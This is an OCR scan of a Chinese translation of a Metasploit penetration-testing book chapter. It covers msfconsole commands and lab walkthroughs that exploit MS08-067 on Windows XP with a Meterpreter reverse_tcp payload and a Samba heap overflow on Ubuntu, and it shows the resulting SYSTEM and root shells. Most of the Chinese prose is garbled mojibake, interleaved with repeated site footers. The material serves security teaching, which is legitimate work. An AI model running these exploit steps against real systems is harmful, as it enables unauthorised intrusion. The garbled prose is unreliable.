FH 2| MSF # ¥ (msfconsole ). MSF 4&h4 2% (msfencode ), BA B MSF B 8 fif 4= il &% (msfpayload) »

FEVREE T H AR R RIBBE L 28T, DR — X TS B NZ B Bk i A AR,
1 F, BOVMRNBT EAFKBBEIRATTE. 582 FF, RTHT Metasploit HEZRFIE
R4, DR PEAR&EMEDM TRNMERSE. 83 ThRMNEW T Mg REE.
RIGTES 4 EHRRES T Al AT Wi .

AEP, ROWEFEBBEBHOERTE. RO ERZLRRE Metasploit HERTHIE
FXdd4, RINMEBEEWPENMAUNAEMERARECH IR, AFEPAHBRZEA
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% X1 @

&t MSF &umiitr, Wit AR, R EX MSF £, MSF JBUh#fir 4 lag Fl MSF
duinge sy A AR, T IFEER PP AR MRS

5.1 BiEWEEMM

Metasploit HEA2 U & HT MR, BH AR FIEENIMNE FEMIC TR, 7 MSF £
HPIZAT show f&RIEMABIERER, MRIRHLTT AR E B KA RIR G MR GH,
AT — TR,

5.1.1 msf> show exploits

XA 4 8K Metasploit HEAE T BT o] H 18 B Bl e, 78 MSF &, fR7T LA X
BB RAH F B ) 2 4 Ui oK SC HEAT RV FRV8 B B - Metasploit H BA SR AW ith T & H B 03835
Brii e, KA TR SR K.

5.1.2 msf> show auxiliary

XA A& Bon BT A BIER LR EAII A& . 7E Metasploit 47, FBVBIRM & AR &
JUZ. EMMTULREMS . EAERSWE TR, Fuzz A4, UAIMAMERIM T A,

5.1.3 msf> show options

2% (Options) RARiF Metasploit #2328 & MR EMIEIT IR R &R EE . SRERE T
—/MEB, FHHIA msf> show options J5, &F|HIXMERIFHAFSE. R YEIRERAIRE
AT, BLAMARNMTLSLERHTERNERSE, BHRE, FRTBHLRSHTH
LogLevel, ffBB R ICR RGHEF H7EA. BT LI back 4, LLE[F ] Metasploit
# E— R

msf > use windows/smb/ms08_067_netapi
msf exploit(mso8 067 netapi) > back
msf >

MR E A RN E B BB FBEIGH BATBUREY, R (search) WA IEHH
. B, wmREARRE—KEX SQL BIEAE K, MATHAASWLURRLS SQL &
KB -

msf > search mssql
[*] Searching loaded modules for pattern 'mssql’...
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SO AR PORL LS ) 2, AR AR A B AT A, A= FAT 18 SEBRAUR RIS DT DRIASHE 9y DR
KU T AR, WAL BT bR R IR BRI A R R BUR A M S AR Z AL, B0 5 A0, BRI F AR B ISR IERRASRE, SRR

R

Wk 4s. TP E R E N (WWW.17HUAN.COM) K if 2% JE A% 8 Ts (BBS.176ku.COM) HLEHARE L— &k .
" G

BE5® BERHZIR

Auxiliary
Name Disclosure Date Rank Description
admin/mssql/mssql enum normal Microsoft SOL Server Configuration
Enumerator
admin/mssql/mssql_exec normal Microsoft SQL Server xp_cmdshell
Command Execution
admin/mssgl/mssql_idf normal Microsoft SQL Server - Interesting
Data Finder
admin/mssql/mssql_sql normal Microsoft SQL Server Generic Query
scanner/mssql/mssgl_login normal MSSQL Login Utility
scanner/mssql/mssql_ping normal MSSQL Ping Utility
Exploits
- . SNIP . .
msf >

Ko, wf LAFEH T H 64 T35 MS08-067 A MM,  (MS08-067 I iiH A it f
WA [RPCIRS T H-—Ng80, RAMEM “KE” 88 Conficker FRIFIXMRFRBA
%. )

msf > search mso8_067
[*] Searching loaded modules for pattern 'mso8 067°...

Exploits

Name Rank Description

———— mmma  eEmmmmmss===

windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

LB BHBER (windows/smb/ms08_067 netapi) J&, FJLLMEFH use Sy A MM, WTF
B R :

msf > use windows/smb/ms08_067_netapi
msf exploit(mso8_067_netapi) >

ER U AT T use windows/smb/ms08_067_netapi £r< /5, MSF &3 M3 R
T FHE BT

msf exploit(mso8_067_netapi) >

ERPBRMNCLIEIET ms08_067_netapi WLk, X RLE L5 F#y A R0 S XA B
BRI ET.
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

- Metasploit i % i 15 i

R : iR B ATAL TR IR & , AT vA4% 8 search #7 use 44 3két 3| 5 — MR b,

WAL, fECEFHERMGSIERAT T, "TLUA show options £/~ MS08-067 #E T
BH

msf exploit(mso8_067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:
0 Automatic Targeting

msf exploit(ms08_067_netapi) >

XFhE _EF KM SE0riE 77 ik Metasploit B A3 L% Wi, H BibRAEH R
ETHAERFENZE.

5.1.4 msf> show payloads

B —F, 8 2 THRINA T IGERAT R M FE 1 BREEHRE, St M
B A& BB B AREEITH4T . A0 show options #r4—#E, M7 YT R AR R FHA
show payloads iy & B}, Metasploit H&K 5 4aTHR AN BHEMN ER k., EEHNHETF
Windows BIFERLEM B, BRMNBEHEATATHER SR i EHH— ST 5RE, S5
RIRERS IR Bl — e B R /ESR . AN T R4S 0l A E BT A SR AN B 86

msf> show payloads

LHEE A48 B8 Metasploit HHTA K A] B EAT, R0 RIRIEERT- - KEFRME
BR, HRARRSEIEATARBERGFHBGEMAFIER. ZFIKBE, % msf exploit
(ms08_067 netapi) /< T, 41T show payloads @4 (NS ER FBPMHHLEE,

TERTE B T BRAVE search Mr$3R3)T MS08-067 Braiish. MALLRAIER show
payloads iy & £ #kiE A X MBS B R AT BRG] LA % Windows & 93
di B A & B R i3k, Metasploit — B2 ARIE IR IR M H 7] 78 — WHF 52 B38BT vb 48 FH i 2
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
W28 224, WA Hrh BN (WWW.17HUAN.COM) K& G 6% i61% (BBS.176ku.COM) L&+ ATE -

G

Ho5F BENHZIK

msf exploit(ms0o8 067 _netapi) > show payloads

Compatible Payloads

Name Rank

« . « SNIP . . .

windows/shell/reverse ipvé_tcp normal
windows/shell/reverse_nonx_tcp normal
windows/shell/reverse ord tcp normal
windows/shell/reverse_tcp normal
windows/shell/reverse_tcp_allports normal
windows/shell _bind_tcp normal
windows/shell_reverse_tcp normal

Description

Windows Command Shell, Reverse TCP
Stager (IPv6)

Windows Command Shell, Reverse TCP
Stager (No NX or Win7)

Windows Command Shell, Reverse
Ordinal TCP Stager (No NX or Win7)

Windows Command Shell, Reverse TCP
Stager

Windows Command Shell, Reverse
All-Port TCP Stager

Windows Command Shell, Bind TCP
Inline

Windows Command Shell, Reverse TCP

Inline

T RIRATHI N set payload windows/shell/reverse_tep A% reverse tep( S #, TCP &£
K8 fir. A show options W4 f5, &&F 2 LE/ 28 B k.

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp ©

payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options @

Module options:

Name Current Setting Required Description

RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes

© Payload options (windows/shell/reverse tcp):

The pipe name to use (BROWSER, SRVSVC)

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address

LPORT 4444 yes The local port
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&iE M)A 5B

Al EBIEOERANEE TBHEM, EOLRNERT ZERMSHERE, BCHHA
ERXOW SR T —SS8s IR EIN, W LHOST f1 LPORT %, 7EA#d, fReafCARCELEH
b EHUERER B HL AR E 1P bR 15 Lk, Brol iy — A s 8ier . 78R
ALEBE S, EELHEFEINREN, HHHEESREAHN. BT LMEFHXMETIF
BB KRR EL NAT MK

J& T B ATVEE S IX AN B BT #) LHOST (A EHL) F1 RHOST GuEfAEEND #HiTRE,
¥ LHOST # '8 AEANMBCHHLE 1P sk, i MR R A% 82 3 B HLER A TCP 3% 1
(4444) t.

5.1.5 msf> show targets

Metasploit {1387 B AR Sl % 7T LS|t 32 30T 0 B bR R KR, 250K, BT
X MS08-067 Jiili B B b i T I gm0 i) M Ar ik, BT DX AN B A EH 3R e R 1 REERR 4,
BHIEHA TR B TEA . E5RACLRZEVUHI I (FE58 14 FAE 15 EhE&FIFAM
f#RE). 7E MSF £35; MS08-067 MR RfFRE T, SBxr 60 MMM AL (Tl HE
BT Hrh ). BEETMRIIIGRT B Windows REMRA, AHE A& #FHRX—
R RE VL IE W TAE, ASAVRBHREGHITH, EH S FREE MRS k.

msf exploit{ms08_067_netapi) > show targets

Exploit targets:

Automatic Targeting

Windows 2000 Universal

Windows XP SP0/SP1 Universal
Windows XP SP2 English (NX)
Windows XP SP3 English (NX)
Windows 2003 SPO Universal
Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 SP2 English (NX)

EXABIFrh, HER “B3hEFEHR” 0 (Auto Targeting) BRI HiFFIERF H— ik
W W, BBkl AR IEREMIEXGE R, HINERRERGERAR TR E. Fid,

BAFIERBR N TE AR U H AR R HRER, XA fER Rl R IR B

BR: AP AQHEAEH L “ERATE”, REHERBAENEAETF R
., mACRMTEERG A BB ERHNPE. doRIRAR KA G E B ( Windows XP
SP2) EAR M EAEARS, —F 2 FHEREFEAFREALGER,

O o~ v B W O
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$5E BEHFHFZIHR

5.1.6 info

YRt show F search & FTHLR(E Bad FE7%0, wTLAMEH info 4740 EBUAM &F
R ERHBUREVEAFE R SRRV CEFTHE AN APRRERS: (MRCERPF T AR,
BEAZEIR IR TR info BITT.)

msf exploit(mso8_067 netapi) > info

5.1.7 set #A unset

Metasploit BB I BHHABHMRE: BWE (Gset) BERELE (unset). HEBHS
bR id AL IHI (required), XFEMSEOLAML T TR R IFLETEHIRE. B show options
AW UEFEBLESBOL BN M set 2 T X EASEHTIRE (RN HIZSH);
&/l unset A& LIZEHMRBH . JSHMFIRBER T set 71 unset -4 K143 k.

A 0 R — AN ST IR

msf exploit(mso8 067 netapi) > set RHOST 192.168.1.155 @
RHOST => 192,168.1.155

msf exploit(mso8_067 netapi) > set TARGET 3 ®

TARGET =» 3

msf exploit(ms08_067_netapi) > show options ©

[_’ RBR: ERMAHTFAAINAOLELAMEN T AEFF, ZHFFRALF, Rid
54

Module options:

Name Current Setting Required Description

RHOST 192.168.1.155  yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

3 Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) > unset RHOST
Unsetting RHOST...

FEOLARINTE Hir 1P Mk (RHOST) J 192.168.1.155 (IRATMMENS) . HOLTH
 NBE BARBRAE RGHRELN 3, HITE XX T H{EH “mst> show targets” #ir4 51| 4 “ Windows
XP 8P2 English (NX) 7 . #E@4ENTZAT T show options LAFIAFTH KIS LR B 58 k.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
ﬂéﬁ%ﬁﬁwﬂ WIAFAE A PR IR BOR IR bR A 15 S EURIE PRI Z Ab, 05 40, Bk SrBIF LU 350 S IERRCTAE, 2 HE
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&% {15/

5.1.8 setg 1 unsetg

setg &M unsetg & AEW X RS HHIT R E R EAIXA @SR LREUGE
FEASHMEERFRE, RN LL T B R DSRHZH, W LHOST.

5.1.9 save
E1EH setg &Mt RSEHTRER, WLUER save dr4#F 24nT 18 BIERE Tk,
- IXPEAETT A 3 MSF &gk el R XS (6. 7E Metasploit ] LLZEAEFTET AT save
74 AMRAF iR

msf exploit(mso08_067_netapi) > save

Saved configuration to: /root/.msf3/config

msf exploit(mso8_067 netapi) >

S PITE R PR EREHERFEMR LRNMNE Groot/msf3/config) , WMHR T —2H
IR AR B BRAR WA, AT LURRIX AN S04 B 2588 3 21 S Ab A7 R

52 :J\E{J%—-f/\:élzlil:ﬁ

B KA LA RBENEDE, RINCE TH T EEIGREREIA, teE T o
f£ MSF 3 BT SR E, AERNE 6 — IR LM B T, il SEBRMERATMEN %
JHEZ T, 58 3R ) Windows XP Service Pack 2 H! Ubuntu 9.04 75 &5 BRI A ¥EHL, T
A4 7E Back|Track Bli JLERBE 11§ A Metasploit.

W RTESE 4 B RERERAN- A AR R H8 %X & Windows XP SP2 ERINLEEAT T34,
BARATRECE R T EAT R RAGER AN LLWH: MS08-067 Jili. RIVEFF KB
U T 1 1 88 e BB 36 S T O vE SR R B N A

BEE RRBEMNAS e AT m, R LefFE P BOR DS, ARAEEEA n /B R HEAR 3
o ) A R B R 5 R R T G . F THTIRFR B BER 2 — RTE Metasploit 14
nmap HIFHHHAA, WHFFHR:

root@bt:/root# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfconsole

. SNIP . . .

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130 ©
[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

Starting Nmap 5.20 { http://nmap.org )} at 2011-03-15 19:46 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
NSE: Script Scanning completed.

Nmap scan report for 192.168.33.130

Host is up (0.00050s latency).

Not shown: 991 closed ports
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

E5HF BEWLHZR

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

25/tcp open smtp Microsoft ESMTIP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msIpc Microsoft Windows RPC

1433/tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:29:EA:26:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003 ©
Network Distance: 1 hop

Service Info: Host: ihazsecurity; 0S: Windows

Host script results:
smb-check-vulns:
MS08-067: VULNERABLE ®
Conficker: Likely CLEAN
regsvc DoS: CHECK DISABLED (add '--script-args-unsafe=1' to run)
SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

0S and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds
msf >

BATIM Metasploit i F T nmap #14di#—~script=smb-check-vulns® . B & FRAIENIT
nmap HHEEFAKSE: -sT RIREME TCP B (Stealth TCP connect) , RATITELER
th R B XS B TR O R BTN . (LhHEFNSEEA-sS: BHE TCP Syn 3
#. ) -A BRIEEEEBRIERFEHENTIEE (advanced OS detection) , EaX—MEERGSHITHHE
AR SEEL, AR A RIEHE Z(ER.

VERETE nmap MIFI#i4E R @455 KB T MS08-067: VULNERABLE. XME/RBEAIEVFAE
XX G EHETRdT. FikRA1E Metasploit 3B v] H FHRERI B, 2K
NIXE EHL.

Yok B IHE A T H R WL R RERRA . LEAMIRIH A (Service Pack) MUALLRE
HER, FHEEKETRE RIS T B 1T{RY* (DEP: Data Execution Prevention). DEP
Fe ok T BB R st B TR, e AR HEARIE e HE, BB 1L shellcode #ERURR
7EMEAR R AT . (2, TATAT LU — B8 e HERR B MR Set DEP fR¥7. (&gl DEP
IS £ £ ARG A7) LLE [ hnp.//www.uninformed.org/?v=2&a=4)

£ L— /i, BRATIEAT show targets fir S 5 T X5 2 B E BEEARR BT A T R Y
HirdtE RGUEA. BT MS08-067 & — %tk REM AWK HE A% &R, Frilfix
B, RAVFEHEE B AR LA SR AR IE 7 08 A0S, BT L nmap FHERER, RITAT
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W28 224, WA Hrh BN (WWW.17HUAN.COM) K& G 6% i61% (BBS.176ku.COM) L&+ ATE -

SO AR PORL LS ) 2, AR AR A B AT A, A= FAT 18 SEBRAUR RIS DT DRIASHE 9y DR
KU T AR, WAL BT bR R IR BRI A R R BUR A M S AR Z AL, B0 5 A0, BRI F AR B ISR IERRASRE, SRR

i

%

G

Metasploit #FiER)iAIEE

LI¥|E @ H bRt R4 Windows XP Service Pack 2. (&R FH WM AHER Windows Server
2003, {HREHTREE iz LRIRS BRERGEAE LI L BEO, FrU2mesas
BAERGHITREMEA KD BATMEE B ARIZ1TH Windows XP #2 % AR .

- FHEAERMFAEBFIRGE LR, HARRELHENSH:

msf > search ms0O8 067 netapi @
[*] Searching loaded modules for pattern 'mso8 067 netapi'...

Exploits

Name Rank Description
windows/smb/ms08_067 _netapi great Microsoft Server Service Relative Path Stack
Corruption

msf > use windows/smb/ms08 067 netapi ©

msf exploit(mso8_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp ©
payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067 netapi) > show targets @

Exploit targets:

Id Name

Automatic Targeting

Windows 2000 Universal

Windows XP SP0/SP1 Universal
Windows XP-SP2 English (NX) @
Windows XP SP3 English (NX)
Windows 2003 SPO Universal
Windows 2003 SP1 English {NO NX)
Windows 2003 SP1 English {NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 SP2 English (NX)

L0~ W bW RO

e + o« SNIP . . .
26 MWindows XP SP2 Japanese (NX)

-« « SNIP . ..
msf exploit(mso8_067 netapi) > set TARGET 3

target => 3

msf exploit(ms08_067_netapi) > set RHOST 192.168.33.130 @
RHOST => 192.168.33.130

msf exploit(mso8_067 netapi} > set LHOST 192.168.33.129 @
LHOST => 192.168.33.129

msf exploit(mso8_067 netapi) > set LPORT 8080 ©

LPORT => 8080

mst exploit(msO8 067 _netapi) > show options @
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

E5E BEHRHZIER

Module options:

Name Current Setting Required Description

RHOST 192.168.33.130 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.33.129  yes The local address

LPORT 8080 yes The local port

Exploit target:

Id Name

3 Windows XP SP2 English (NX)

FAT1{E Metasploit HE4ZHh 7 & MS08-067 NetAPI i #iik@. R E/5, A use 2O ML
XA (windows/smb/ms08 067 _netapi) -

BETF¥, BANEEREHBMA AT Windows R4 Meterpreter reverse_tcp®, XA
TEXHRIE, £MERIN AR - REERE, E83 LHOST e 1P #ult. X
4 1] LALERGEL Bl K B A ST R AR, U 3 NAT MK

Meterpreter RRAEARBTLFLAFNEEBERG TR, —REAGHRNEEHIE.
Meterpreter /& Metasploit HEZEH FIR T8, BEHRKREE T RATIRE H A5 B MBEAT A MZER
i 8

show targets fr 4> @ik A AEW IR FI A TR H ARt R LR CKE M MSF BB BGHEIR
&A% BREREXMBTIRG, MAFET LREHSE, BRI MS08-067 FiFATHH
o, EECEIERH BB IRGIE RERRL)

1E@ KT A 145 EHR4E RS AY H Windows XP SP2 English (NX). NX (No Execute) &3
BA AT, BN A T DEP {#47 . £ Windows XP SP2 91, DEP SR\ & B - (% Windows
HSREEF).

EOXZA1E N B E RHOST S 305 & 8% MS08-067 J&F M H A7 £ 4L 1P #hik.

it set LHOST 4@ B & £ it A B IP (EPiX & Back|Track BELBL), Eid
set LPORT 4 @& B X HHLUNTH TCP 315, (& LPORT S¥(t, BEFEH—MRAE
BB K — 2 AR VRRATIHN BSOS, it 443, 80. 53 LA 8080 FH AN HIER.) B
JG, AT show options® AFHINX ESEHMERE IEH.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit J&iE R 15

HEWIE, HIERFRME LT -

msf exploit(ms08_067_netapi) > exploit ©

[*] Started reverse handler on 192.168.33.129:8080

[*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487) ®
msf exploit(ms08_067 netapi) > sessions -1 ®

Active sessions

1 meterpreter 192.168.33.129:8080 -> 192.168.33.130:1036 @

msf exploit(mso8_067_netapi) > sessions -i 1 @
[*] Starting interaction with 1...

meterpreter > shell ©

Process 4060 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

BATMER exploit a7 L OB IRSE, FEFFEAXS HAREAT B ik 253 XK B = R T,
RBATRE T — reverse_tep J7 2 ) Meterpreter B i & 215 ®, Bt A LA{E ] session -1 A
S B FITFEIEITH) Meterpreter 551 ®. vJLIEZR], HITNHE - NMSERESNO, HFERT)
FIR X A H it 4T T 8, 2FENTFEEANRE. (MREEFBEH IR KT 1 Meterpreter
SERIVEA (R B, PRATEASI sessions -1 -v, )

TE@ LI sessions -i 1 #r &k AIAEE 5 1D % | MFSHIAERATR . FERILRRATHA
T Meterpreter HJAZ H shell 9. WREHIS1ER— R mEE G AT shell, XML HELE
BAVH By R AFPRET BJ5, ZEO LT shell N T H s REHIZE H 6y & 1T shell
.

WER, WELBMETRAE &P e, RORAT LA show options K £ H B i
Bipra vl a4 .

5.3 Id5—8& Ubuntu E£#1

iEA T4 Ubuntu 9.04 EHLBET — KA E IS Bakhid s BEA S LHidFHR, HER
f17e X B B E R AR S B Wi SR aTE .
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

BE5H BEHHZR

msf > nmap -sT -A -PO 192.168.33.132

[*] exec: nmap -sT -A -PO 192.168.33.132

Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:35 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.33.132

Host is up (0.00048s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

8o/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) @

| _html-title: Index of /

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) @

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

MAC Address: 00:0C:29:21:AD:08 (VMware)

No exact 05 matches for host (If you know what 05 is running on it, see http://nmap.org/submit/ ).

+ o+ o SNIP . . .

Host script results:

| _nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| _smbv2-enabled: Server doesn't support SMBv2 protocol

| smb-os-discovery:

|  0S: Unix (Samba 3.0.24)

| Name: MSHOME\Unknown

|_ System time: 2011-03-15 17:39:57 UTC-4

05 and Service detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 47.11 seconds

it nmap F194, BATE W 3 NFFHAINEL: 80, 139 F 445, FEOLHIE B EFERIIXE
FHERERS N Ubuntu, @LIAIE W' IEIZ1TH Samba 3.x R4 A PHP 5.2.1 i Apache
223 k%

AT R —A Samba IBBBGHAER, XA ERBERXE FH. BULEREDT.

mst > search samba
[*] Searching loaded modules for pattern 'samba'...

Auxiliary

Name Rank Description

admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal

dos/samba/lsa_addprivs_heap normal Samba lsa_io privilege_set Heap Overflow
dos/samba/lsa_transnames_heap normal Samba 1sa_io_trans_names Heap Overflow
Exploits
Name Rank Description
i;l-'lL-axfsanballsa_transnanes_heap é;;; ;;r;l-:i;-i;;::-i.u_trans_names . . a
« « « SNIP . . .

msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa transnames_heap) > show payloads
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit ;&iE Wit 188

Compatible Payloads

Name Rank Description

generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User

linux/x86/chmod normal Linux Chmod

linux/x86/exec normal Linux Execute Command
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/shell/bind_ipvée tcp normal Linux Command Shell, Bind TCP Stager (IPv6)
linux/x86/shell/bind tcp normal Linux Command Shell, Bind TCP Stager

« « « SNIP . . .

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell _bind tcp
payload => linux/x86/shell_bind_tcp

msf exploit(lsa_transnames_heap) > set LPORT 8080

LPORT =»> 8080

mst exploit(lsa_transnames_heap) > set RHOST 192.168.33.132

RHOST => 192.168.33.132

msf exploit(lsa_transnames_heap) > exploit

[*] Creating nop sled....

f*] Started bind handler

[*] Trying to exploit Samba with address oxffffeaio...
[*] Connecting to the SMB service...

« « o SNIP . ..

[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.33.129:41551 -> 192.168.33.132:8080)
ifconfig
ethi Link encap:Ethernet Hwaddr 00:0C:29:21:AD:08
inet addr:192.168.33.132 Bcast:192.168.33.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3178 errors:0 dropped:0 overruns:0 frame:0
TX packets:2756 errors:0 dropped:0 overruns:0 carrier:o
collisions:0 txqueuelen:1000
RX bytes:292351 (285.4 KiB) TX bytes:214234 (209.2 KiB)
Interrupt:17 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:a
RX packets:0 errors:0 dropped:0 overruns:0 frame:o
TX packets:0 errors:0 dropped:0 overruns:0 carrier:o
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

whoami

root
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

B5T BEWKZIER

PP I B R R B, B A A A A4 BE P IR R AR AR, XK
AN 100% 5. CORSE— IREdTEAT R, RS EH exploit @y % 2K /LK. )

ERIERXANGTHEIMEA T —D48E (bind) shell, FERFRENEITFT MRV,
Metasploit J AT QIR TN B8 H AR RG0S . oA R I B KB ER NAT B S5 %
Bl A AT s A BG4 -

54 Z=imMAXWEHER: FHIHBMBRFFMAYED

{ERT T BIP]Frh, A Z BTCAREE ey, E8 R i1 B AR AL R s B A ) 35 11 9 A5 e
. R ARBRMBCGHEAALNTRIRE T A5k 0 i e A7 REATTE
